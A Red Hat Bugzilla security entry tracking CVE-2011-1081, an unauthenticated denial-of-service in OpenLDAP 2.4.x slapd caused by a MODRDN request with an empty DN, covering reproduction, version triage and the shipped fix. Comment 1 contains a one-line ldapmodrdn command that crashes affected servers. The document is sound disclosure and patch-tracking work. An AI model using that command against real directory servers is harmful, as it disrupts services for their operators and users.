Bug 680975 (CVE-2011-1081) - CVE-2011-1081 openldap: DoS when submitting special MODRDN request
Summary: CVE-2011-1081 openldap: DoS when submitting special MODRDN request
Keywords:
Status: CLOSED ERRATA
Alias: CVE-2011-1081
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard: public=20110103,reported=20110228,sou...
Depends On: 680481 680482 680483
Blocks:
TreeView+ depends on / blocked
 
Reported: 2011-02-28 17:01 UTC by Vincent Danen
Modified: 2019-06-08 18:45 UTC (History)
4 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2015-07-29 14:06:10 UTC


Attachments (Terms of Use)


Links
System ID Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2011:0347 normal SHIPPED_LIVE Moderate: openldap security update 2011-03-10 20:47:17 UTC

Description Vincent Danen 2011-02-28 17:01:16 UTC
It was reported [1],[2] that OpenLDAP's slapd daemon would crash when it received a request to modify a DN and submits an empty old DN in the request.  No binding is necessary, so even an anonymous user could cause slapd to crash.

This was reported against OpenLDAP 2.4.23 and was fixed in 2.4.24 [3].

References:

[1] http://www.openldap.org/its/index.cgi/Software%20Bugs?id=6768
[2] https://bugzilla.novell.com/show_bug.cgi?id=674985#c1
[3] http://www.openldap.org/devel/cvsweb.cgi/servers/slapd/modrdn.c.diff?r1=1.170.2.8&r2=1.170.2.9

Comment 1 Vincent Danen 2011-02-28 17:09:30 UTC
I was able to reproduce this with openldap (2.4.19-15.el6) using:

$ ldapmodrdn -x -H ldap://ldapserver -r '' o=test

with the following results:


Feb 28 08:50:30 dns slapd[1331]: conn=1389 fd=28 ACCEPT from IP=192.168.1.11:46650 (IP=0.0.0.0:389)
Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=0 BIND dn="" method=128
Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=0 RESULT tag=97 err=0 text=
Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=1 MODRDN dn=""
Feb 28 08:50:47 dns slapd[20575]: @(#) $OpenLDAP: slapd 2.4.19 (Jun 30 2010 03:58:53) $#012#011mockbuild@x86-008.build.bos.redhat.com:/builddir/build/BUILD/openldap-2.4.19/openldap-2.4.19/build-server
s/servers/slapd
Feb 28 08:50:47 dns slapd[20576]: bdb_db_open: database "dc=example,dc=ca": unclean shutdown detected; attempting recovery.
Feb 28 08:50:47 dns slapd[20576]: slapd starting

However, I cannot cause slapd (2.3.43=12.el5_5.3) to crash with the same command:

% ldapmodrdn -x -H ldap://localhost -r '' o=test
Rename Result: Server is unwilling to perform (53)
Additional info: cannot rename the root DSE

and the output from slapd:


...
ldap_read: want=8, got=8
  0000:  30 12 02 01 02 6c 0d 04                            0....l..          
ldap_read: want=12, got=12
  0000:  00 04 06 6f 3d 74 65 73  74 01 01 ff               ...o=test...      
ber_get_next: tag 0x30 len 18 contents:
ber_dump: buf=0x9185160 ptr=0x9185160 end=0x9185172 len=18
  0000:  02 01 02 6c 0d 04 00 04  06 6f 3d 74 65 73 74 01   ...l.....o=test.  
  0010:  01 ff                                              ..                
ber_get_next
ldap_read: want=8 error=Resource temporarily unavailable
do_modrdn
ber_scanf fmt ({mmb) ber:
ber_dump: buf=0x9185160 ptr=0x9185163 end=0x9185172 len=15
  0000:  6c 0d 04 00 04 06 6f 3d  74 65 73 74 01 01 ff      l.....o=test...   
do_modrdn: dn () newrdn (o=test) newsuperior ()
ber_scanf fmt (}) ber:
ber_dump: buf=0x9185160 ptr=0x9185172 end=0x9185172 len=0

>>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
>>> dnPrettyNormal: <o=test>
=> ldap_bv2dn(o=test,0)
<= ldap_bv2dn(o=test)=0 
=> ldap_dn2bv(272)
<= ldap_dn2bv(o=test)=0 
=> ldap_dn2bv(272)
<= ldap_dn2bv(o=test)=0 
<<< dnPrettyNormal: <o=test>, <o=test>
do_modrdn: root dse!
send_ldap_result: conn=2 op=1 p=3
send_ldap_result: err=53 matched="" text="cannot rename the root DSE"
send_ldap_response: msgid=2 tag=109 err=53
ber_flush: 40 bytes to sd 13
  0000:  30 26 02 01 02 6d 21 0a  01 35 04 00 04 1a 63 61   0&...m!..5....ca  
  0010:  6e 6e 6f 74 20 72 65 6e  61 6d 65 20 74 68 65 20   nnot rename the   
  0020:  72 6f 6f 74 20 44 53 45                            root DSE          
ldap_write: want=40, written=40
  0000:  30 26 02 01 02 6d 21 0a  01 35 04 00 04 1a 63 61   0&...m!..5....ca  
  0010:  6e 6e 6f 74 20 72 65 6e  61 6d 65 20 74 68 65 20   nnot rename the   
  0020:  72 6f 6f 74 20 44 53 45                            root DSE          
...

and there is no crash of the process.

The code is quite different, but I see similarities, so I cannot tell whether or not a slightly changed ldapmodrdn command will cause a crash, or if this is specific to 2.4.x.

Comment 4 Jan Vcelak 2011-03-01 08:36:01 UTC
Verified that only OpenLDAP 2.4.x is affected. Fixed in 2.4.24.

It seems that the code was reordered. The list of modifications is being built
before the operation is passed to DB backend operation. While access to root
DSE is checked from backend operation. (The upstream fix is strange, however
it works. CVS comment "quick fix for null DN" is a good explanation.)

Comment 6 Jan Vcelak 2011-03-01 10:51:34 UTC
Fedora 16 not affected
Fedora 15 affected, but 2.4.24 is waiting in updates-testing
Fedora 14 affected
Fedora 13 affected

Comment 7 Vincent Danen 2011-03-01 20:22:36 UTC
As noted by Ralf Haferkamp from SUSE:

"It seems you are right. Even though the bug slipped into CVS HEAD already in 2006 it never got merged into the 2.3 release branch. So only 2.4.x  releases are affected by this. Sorry for causing confusion here"

http://www.openwall.com/lists/oss-security/2011/03/01/11

Comment 8 Vincent Danen 2011-03-01 21:20:59 UTC
This was assigned the name CVE-2011-1081.

Comment 9 errata-xmlrpc 2011-03-10 20:47:27 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 6

Via RHSA-2011:0347 https://rhn.redhat.com/errata/RHSA-2011-0347.html


Note You need to log in before you can comment on or make changes to this bug.